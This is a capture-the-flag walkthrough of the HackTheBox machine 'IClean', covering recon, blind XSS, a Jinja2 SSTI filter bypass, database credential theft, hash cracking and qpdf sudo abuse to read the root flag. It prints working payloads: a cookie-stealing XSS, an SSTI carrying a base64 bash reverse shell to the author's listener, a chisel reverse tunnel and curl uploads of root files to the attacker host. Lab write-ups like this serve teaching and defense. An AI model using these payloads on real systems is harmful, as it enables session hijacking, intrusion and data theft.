IClean

INTRODUCTION

In my opinion, IClean was a really cool box. It provides a pleasant balance of recon, exploitation, and CTF-style puzzle-solving. This box provides a more realistic web attack surface than many other boxes - there are lots of pages to explore, and many ways that one could think to attack them. I’d highly recommend IClean to anyone that wants a reasonably challenging (but not too long) web-focused box. Personally, I think this one is on the “hard” side of medium difficulty.

Initial recon brings you to a form where you can request a quote. Small hints suggest that there may be an XSS opportunity. Indeed, there is a fairly straightforward blind XSS to exploit. I used this opportunity to write my latest tool, Crxss-Eyed, used for blind XSS discovery (Check it out if you want ❤️ PRs welcome​). Successful XSS leads you into an admin dashboard

The admin dashboard provides an initially overwhelming attack surface, but eventually leads to a fairly challenging SSTI. Successful identification of the SSTI requires us diligently test every input. Once the SSTI is finally identified, it still requires a tricky bypass of blacklisted characters to properly exploit it. While successful exploitation finally grants us a foothold, we still need to privesc from the webserver service account to a regular user before the user flag can be obtained. Thankfully, all this requires is access to the password hashes in the database, some hash cracking, and a little luck with credential re-use.

Privilege escalation to root is simple, but will likely require a bit of research. The vulnerability is well-documented if you know what to look for. Since we’re able to obtain the exact version of the vulnerable application, I recommend creating a simple test environment on your local attacker machine when developing your final payload. Otherwise, it might be hard to miss the flag, even once you do obtain it.

title picture

RECON

nmap scans

Port scan

I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results from the vuln scan.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT      STATE         SERVICE    VERSION
7/udp     open|filtered echo
68/udp    open|filtered tcpwrapped
136/udp   open|filtered tcpwrapped
137/udp   open|filtered netbios-ns
520/udp   open|filtered route
593/udp   open|filtered tcpwrapped
997/udp   open|filtered tcpwrapped
1023/udp  open|filtered tcpwrapped
1812/udp  open|filtered radius
1900/udp  open|filtered upnp
5060/udp  open|filtered sip
5353/udp  open|filtered zeroconf
49182/udp open|filtered unknown
49191/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Interesting… radius, sip, samba: it might be an enterprise target.

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=template.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

whatweb

We already saw the Apache version from nmap, but note the redirect to http://capiclean.htb.

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No result. Now I’ll check for subdomains of capiclean.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that. I’ll move on to directory enumeration on http://capiclean.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -o ffuf-directories-root -of json-timeout 4 -v

Directory enumeration against http://capiclean.htb/ gave the following:

directory enum 1

Lots of results! The most notable are /dashboard and /server-status. Probably, both are behind the /login page.

Exploring the Website

I can’t not say it: this site has really nice CSS. All the transitions are tasteful, and the design is just… clean 😍

index page

The index page has links to section-specific pages that are largely uninteresting - just copies of content from the index page. It also has links to a /quote page (with a form that POSTs to /sendMessage) and a /login page (with a form that POSTs to /login).

quote page

We can see from the response headers of any page the server framework and language:

Server: Werkzeug/2.3.7 Python/3.10.12

When I submit the form on the /quote page, there is a message that might be a hint:

quote submission

🤔 So the management team will take a look at my quote request, eh? If there’s a “person” on the other end of this form, reviewing requests, then there might be an XSS opportunity here. And if that’s true, it might be the thing to get me past the /login page, through to /dashboard. I’ll investigate this soon 🚩

FOOTHOLD

Credential Guessing

Since it’s simple and easy, I’ll start with a quick credential-guessing attempt on the login page. First, I made one login attempt and proxied it through zap, saving the request as login_post.raw. Now, I’ll run it through ffuf:

USERS=/usr/share/seclists/Usernames/000-usernames-short.txt 
PASSWORDS=/usr/share/seclists/Passwords/500-worst-passwords.txt
ffuf -w "$USERS":USER -w "$PASSWORDS":PASS -request login_post.raw -d "username=USER&password=PASS" -c -v -fs 2172

No luck. There’s no registration page; I can’t see the correct result of authentication, so my options are a little limited.

SQL Injection

Again, since it’s simple and easy, I’ll try SQLi next. There are two forms to interact with, so I’ll try throwing sqlmap at them:

sqlmap -u 'http://capiclean.htb/login' -X POST --data 'username=jimbob&password=Password123' --random-agent --level=3 --risk=2 --batch
sqlmap -u 'http://capiclean.htb/sendMessage' -X POST --data 'service=Carpet+Cleaning&service=Tile+%26+Grout&service=Office+Cleaning&email=test40test.test' --random-agent --level=3 --risk=2 --batch

Neither of these attempts led to a result.

Blind XSS

As previously mentioned, there “quote accepted” page (at /sendMessage) hints that there might be a person that will review my request for a quote. Proxying the form submission, we can see what data is available to play with:

service=Carpet+Cleaning&service=Tile+%26+Grout&email=test%40test.test

Huh, it’s odd that there are two parameters with the same name, but I think that’s technically allowed. Messing around with this a little, I see that it’s easy to bypass the frontend validation on the email field - so essentially both service and email are free-form text fields.

After trying a variety of characters, it seems like there isn’t really any blacklist or anything, so I think I’m free to try whatever XSS payloads I want. This will be a blind XSS, so it might take a few tries.

I’m not very experienced with XSS, so I thought it would be best to try a whole bunch of payloads for XSS detection. When I try to find an XSS-vulnerable form input, I find it’s really useful to label the payload with some kind of identifying text, so that I can try a whole bunch rapidly and still know which was successful (if any).

In addition to that, it’s usually smart to try a variety of HTML escapes to break out of the DOM context and execute javascript. Lately, I’ve been trying the following escapes:

  • nothing (“bare”)
  • a singlequote '
  • a doublequote "
  • a ket > combined with each of the above three.

Just like when trying multiple payloads, it’s important to label each XSS attempt with which escape was used in the payload

… and just to add to that, we’re attempting the XSS on multiple fields, sometimes at the same time. So it’s important to label the payload with the input it was used against.

😵 Are all the permutations making your head spin yet?

In short, my XSS payloads might be something like this, for example:

"<script>document.location='http://10.10.14.39:8000/?payload=scriptdocloc&esc=dblquote&field=service'</script>

As you might imagine, this is really tedious to test manually. It involves a ton of copy-pasting, lots of clicking, etc… Boring!

To expedite this whole process, I spend the last few hours writing my latest tool, Crxss-Eyed. It’s still very fresh, and I have a lot to add to it, but it seems to work very well! This tool automates the whole process described above, submitting and labelling each payload so that I can identify which worked.

Please check out my repo if you want to give it a try!

To automate the blind XSS attempts, I’m applying my new tool (described above). It goes hand-in-hand with another one of my tools, http-simple-server. We’ll set up an HTTP server as a listener for callbacks from the blind XSS:

sudo ufw allow from $RADDR to any port 8000 proto tcp
cd www
simple-server 8000 -v

Now that the http server is listening, I’ll fire off the XSS payloads, testing it against both the service and email fields:

python3 crxss-eyed.py 'http://capiclean.htb/sendMessage' 'http://10.10.14.39:8000' 'service=Carpet&email=test@test.test' 'service,email'

XSS requests

😂 After a few moments, we can see a ton of successful XSS attempts roll in!

My http-simple-server automatically attempts to base64-decode any data that was send as the b64 parameter in a GET request. I’ve also recently revised it so this mechanism works on base64 data with periods in it, like a JWT.

(it also handles file uploads nicely.) Check it out if you want.

Roughly 40 or so payloads were successful. I didn’t count, but it was plenty. Here’s one that was already configured to grab the target’s cookie:

found session cookie

Fantastic! Not only did we find the get a session cookie, but we also have the decoded value of it:

session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zk8I8g.HQvZScg8fvxuAxx2fUnPtdsP44g

role: 21232f297a57a5a743894a0e4a801fc3

That role format looks pretty familiar - could be an MD5 hash. I’ll run it through CrackStation to see:

crackstation

🤠 The role is just the MD5 hash of “admin”!

Since we have the session cookie of, presumably, someone in “management”, that should be enough to get us past the /login page. I’ll copy the session cookie into my own browser and set the cookie’s scope to /, then try navigating over to the dashboard.

setting cookie

Admin Dashboard

Navigating to /dashboard confirms that all of the previous hunches were indeed correct:

admin dashboard

There are four functions here, so let’s try each out and get a feel for how the dashboard works.

Generate Invoice

At /InvoiceGenerator we can choose a service, record a project, client, address, and email, then generate an invoice.

generate invoice

This form submits via POSTing regular x-www-form-urlencoded data to /InvoiceGenerator:

selected_service=Basic+Cleaning&qty=1&project=MyProject&client=MyClient&address=123+Fake+St&email-address=fake%40fake.fake

The result is a page showing the invoice number, 1142339475:

invoice generated

Generate QR

This links to /QRGenerator, which allows us to enter an invoice number and generate a qr code. When we do that, it takes a moment then generates a link:

generate QR

Note that the invoice number is reflected in the generated png filename. Some may consider this an example of IDOR. We can also input the link into the field below to generate an invoice using that QR code.

Note to self: I should check this field later to see if I can input any QR code into the web app - even an external one 🚩

scannable invoice

Several user-controllable fields are reflected onto this page, so I should test all of these for SSTI. If this is getting recorded, I should also check if it could lead to SQLi (or maybe XXE, I’m still not sure how the data is stored! - heck, maybe it’s just in a JSON file or something.) 🚩

Curious about what data was actually inside that QR code, I ran it through an online tool to read it. The result was a link: http://capiclean.htb/QRInvoice/invoice_1142339475.html. When I opened that link, I found that it was another “scannable invoice” as shown above, but slightly different - the Invoice number was different, and there was a different price on the cleaning service.

Oddly though, opening that link seems to have affected the original “scannable invoice” that appeared: when I refresh the original invoice, the QR code has disappeared from the bottom corner, and it has yet another invoice number and price!

Edit Services

This one links to /EditServices and does exactly what you might expect. It allows us to modify the data associated with different services that are offered:

edit service

All fields except Service description are marked readonly, but this is easily bypassable by editing the DOM. Here, I’m editing Basic Cleaning to see which modifications are persistent:

Editing service

Checking the Edit Service page again though, shows that only the changes to the Service description actually persisted.

Since we’ve found a parameter we can control (one that might be reflected elsewhere), I should test this field later for SSTI and SQLi, maybe even XXE 🚩

Quote Requests

This loads the /QuoteRequests page, but the page is empty. This is probably where pending XSS attempts ended up, probably with some kind of Selenium bot or something to “read” the page.

Review: Leads

To keep myself organized, I’ll review what leads I gained from examining the dashboard:

  1. Load an external QR code. The QR code finds its way onto the invoice. Maybe I can do something with how it renders the template?
  2. Inject malicious Invoice details. Maybe there’s an SQLi, or SSTI?
  3. Inject malicious Service details. Maybe there’s an SQLi? an SSTI?

In terms of complexity:

  • It’s really easy to verify if I can load an external QR code, but I’m not sure what I would do with that info once its determined.
  • It’s pretty easy to throw sqlmap at the inputs, but a little harder to do the second-order SQLi (where any reflected info is on another page). However, if successful this might be a path towards RCE.
  • It’s a little harder to verify the SSTI, but still doable. If successful, this proves an almost-certain path towards RCE.

➡️ Taking all this into account, I think I’ll investigate SSTI, then SQLi, then loading the external QR code.

SSTI Identification

I’ll try an SSTI polyglot in every input that I can find:

${7*7} {{6*6}} {{5*'5'}} {{_self.env.display("JINJA")}} #{4*4}
SSTI investigation 1

After generating the QR code, then navigating to the link stored in the QR code, the resulting invoice showed this:

SSTI investigation 2

In short, all the special characters were removed. I’ll try url-encoding (single and double):

👇 I’m using my own url_encoder for this, based on Python. Here’s the repo. You could just as easily use any other tool.

url_encode '${7*7} {{6*6}} {{5*'5'}} {{_self.env.display("JINJA")}} #{4*4}'
# %24%7B7%2A7%7D+%7B%7B6%2A6%7D%7D+%7B%7B5%2A5%7D%7D+%7B%7B_self.env.display%28%22JINJA%22%29%7D%7D+%23%7B4%2A4%7D

url_encode $(url_encode '${7*7} {{6*6}} {{5*'5'}} {{_self.env.display("JINJA")}} #{4*4}')
# %2524%257B7%252A7%257D%2B%257B%257B6%252A6%257D%257D%2B%257B%257B5%252A5%257D%257D%2B%257B%257B_self.env.display%2528%2522JINJA%2522%2529%257D%257D%2B%2523%257B4%252A4%257D

No luck with the URL encoding. This the result of encoding once:

SSTI investigation 3

I.e. all of the special characters are still removed.

There’s also the input that accepts the Invoice link as an input. I’ll try the payload there too:

SSTI investigation 4

However, this leads to an unexpected result. Producing a HTTP 500 status is often a good sign, though!

SSTI investigation 5

I wonder what is causing that to happen. To diagnose this, I’ll try thinning down the payload; realistically, if an SSTI is going to work, it’ll probably be for Jinja2 (since it’s a Flask server), so I’ll only include SSTI tests that should result in a positive outcome from Jinja2:

{{6*6}}{{5*'5'}}{{_self.env.display("JINJA")}}

… But this leads to the same result. What about trying URL encoding here, too?

SSTI investigation 6

Very interesting - look what failed to render:

SSTI investigation 7

Perhaps this just because of the dead link to the QR code though? I’ll check more closely:

SSTI investigation 8

Well, yes it is indeed a dead link, but we managed to sneak through some special characters! Just because they’re not visible characters doesn’t mean we can’t utilize them for SSTI 😉

SSTI Exploitation

Let’s refine the SSTI payload once more. If we have a Jinja2 SSTI, the expected result is 3655555 within that img src property:

{{6*6}}{{5*'5'}}

SSTI investigation 9

YES! We have a confirmed SSTI 🎉

SSTI investigation 10

Let’s verify by running id:

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Hmm… That leads to another HTTP 500 status. I’d be willing to bet that at least one of the following are in some kind of blacklist: ()._.

Thankfully, Hacktricks has a whole section on bypassing Jinja2 filters for gaining RCI via an SSTI. Various examples within that section will help isolate the character blacklist (if one exists), because several of them eliminate one particular character. Specifically, the one at the bottom gets rid of two of our suspected “bad” characters ( the characters(, ), ., and _ ) and leads to a reverse shell, so let’s skip straight to that test:

Naturally, the base64 payload from that example is not specific to my reverse shell listener, so let’s fix that:

SSTI investigation 11

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zOS80NDQ0IDA+JjE= | base64 -d | bash")["read"]() %} a {% endwith %}

Just in case this works, I’ll set up a reverse shell listener:

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
socat -d TCP-LISTEN:4444 STDOUT

Now, I’ll submit the payload through the Invoice QR Code link:

SSTI investigation 12

😁 There it is! We have a reverse shell:

reverse shell opened

USER FLAG

Upgrade the shell

In case I’m stuck here for a while, I should take a sec to upgrade my shell. For more details, please see my guide on upgrading the shell. We know the target has python, so I’ll use that:

python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl+Z]
stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
export SHELL=bash

Hmm, still no colors. But at least we have command history and tab completion now 🤷‍♂️

Local enumeration: www-data

Opening the reverse shell dropped us into the web app directory. Taking a peek at app.py yields some immediate results:

...
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}
...
def rdu(value):
    return str(value).replace('__', '')

def sanitize(input):
                sanitized_output = re.sub(r'[^a-zA-Z0-9@. ]', '', input)
                return sanitized_output

There we get a glimpse at two of the filters that were causing us grief. But also, some database credentials!

iclean : pxCsmnGLckUb for database capiclean.

A quick check of the home directory indicates that the only human user is consuela. Just to eliminate the obvious, I checked right away for credential reuse over SSH - no luck!

MySQL

To connect to the MySQL database easily, I’ll establish a socks5 proxy. To do this, I’ll download chisel (and a few other tools, like linpeas) onto the target box. I’ll start the chisel server from my attacker box:

sudo ufw allow from $RADDR to any port 9999 proto tcp
/home/kali/Tools/STAGING/chisel server --port 9999 --reverse &

Then, from the target, I’ll connect back to the server:

./chisel client 10.10.14.39:9999 R:1080:socks &

With that done, I should be able to connect to the MySQL database comfortable from my attacker box, by using proxychains:

proxychains mysql -h 127.0.0.1 -D capiclean -u iclean -ppxCsmnGLckUb

First, I’ll check what tables exist:

mysql 1

The users table is always a good bet - let’s check that out:

mysql 2

Hash cracking

I took both these hashes and placed them, labelled, into a file for cracking:

hashes file

I also checked the format of the hashes by copying one into name-that-hash:

name-that-hash -t '2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51'

It seems confident that it’s a SHA256 hash. This is probably verifiable by reading app.py more closely, but SHA256 is probably right. Let’s get crackin!

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=raw-sha256

Within a second, we had a result:

cracked hash

A password with spaces? So weird!. Let’s try it with SSH:

ssh consuela@$RADDR

SSH as consuela

🍰 The SSH connection drops us into /home/consuela, right next to the user flag. Just cat it out for some points.

cat user.txt

ROOT FLAG

qpdf

Since we logged in using a password, the #1 best thing to always check first is sudo -l:

sudo list

qpdf? What’s that? From the official documentation, we have a description:

“QPDF provides many useful capabilities to developers of PDF-producing software or for people who just want to look at the innards of a PDF file to learn more about how they work. With QPDF, it is possible to copy objects from one PDF file into another and to manipulate the list of pages in a PDF file. This makes it possible to merge and split PDF files. The QPDF library also makes it possible for you to create PDF files from scratch”

Looking through the qpdf documentation, it seems that I’m able to add arbitrary files as “attachments” to a PDF. Naturally, the first thing I tried was simply attaching the flag:

sudo qpdf --empty --add-attachment /root/root.txt -- /tmp/.Tools/out.pdf

I tried checking the contents with cat. While it did contain something that looks a lot like an HTB flag (an MD5 hash), it must have just been a coincidence - perhaps some kind of checksum for the attachment…

Just to double-check, I uploaded the file to my attacker box, using simple-http-server:

curl -X POST -F "file=@/tmp/.Tools/out.pdf" http://10.10.14.39:8000

But, when opening the file, it just appears blank. Checking the file contents with hexedit didn’t help: all I found were the same two hashes from earlier.

I’ll try again, but this time starting with a blank PDF file (as opposed to the --empty flag).

sudo qpdf --empty --pages . 1 -- /tmp/.Tools2/blank.pdf
sudo qpdf /tmp/.Tools2/blank.pdf --add-attachment=/root/root.txt /tmp/.Tools2/out_with_attachment.pdf

This produced the same result, but with some extra data inside.

💡 A little more searching through the documentation brought me to exactly what I needed; there’s an extra switch --qdf that makes the resulting PDF parsable by a plaintext editor (like cat):

sudo qpdf --empty --qdf --add-attachment /root/root.txt -- /tmp/.Tools2/out2.pdf
curl -X POST -F "File=@/tmp/.Tools2/out2.pdf" http://10.10.14.39:8000

☝️ Note the placement of the --qdf switch. It needs to go in that position. qpdf is fussy about argument sequence.

Now, taking a look at the file, I found what I was looking for! This is the file contents, viewed from hexedit:

flag

👏 Look familiar? That’s the flag, between stream and endstream! Copy it out and submit it for the remainder of this box’s points 😁

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

It’s a good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 🤖 Automate blind attacks. You’ll save a lot of time through a little scripting when testing for a blind attack. This is especially important if the thing you’re testing for isn’t actually there. You could otherwise spend an indefinite amount of time trying every trick in the book, only to lead to no result. Better to simply spend the time to automate the process. Plus, a little coding practice is never bad.

  • 📍 Test every user-controllable input. Some inputs may seem unimportant at first, but those inputs may end up being the ones that developers accidentally overlooked when designing security! When testing for a particular vulnerability, it’s important to create a replicable test case where you know what to expect for positive vs. negative results, that you can apply systematically to every user-controllable input.

  • 📄 PDFs can be an XXE target. The same principles apply to PDFs as many other XML-based formats. We can still use them to load external resources, and that can local files (as attachments). The method of performing data exfiltration is quite different from many XXEs, but the principle is the same.

two crossed swords

Defender

  • 🏠 Practice safe cookies. In IClean, we ended up hijacking the session of an administrator through XSS. One thing that would have made this more difficult would be setting the http-only flag on the cookie. Implementing a proper CORS policy would also have prevented the way we stole the session cookie. Lastly, once we took the cookie, we were able to easily pop it into the browser and use it right away: the site could be reconfigured to have the dashboard on a separate subdomain and set the cookie scope to only be for that subdomain.

  • 👺 Never assume that a user-controlled input has not been tampered. The only mitigation for this type of risk is using cryptographic signatures. Without signatures, we must perform as much validation and sanitization as possible on every user-controlled value, and accept the risk that comes with it - and this should always be coupled with other mechanisms congruent with defense in depth.

  • 🔗 Trusting an application extends trust implicitly. When you provide privileged access to an application, keep in mind that you are implicitly providing privileged access to everything that application can access. This is why it is seldom a good idea to give full sudo access to anything. Instead, just make a service account and the least privileges that are necessary for it’s functionality.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake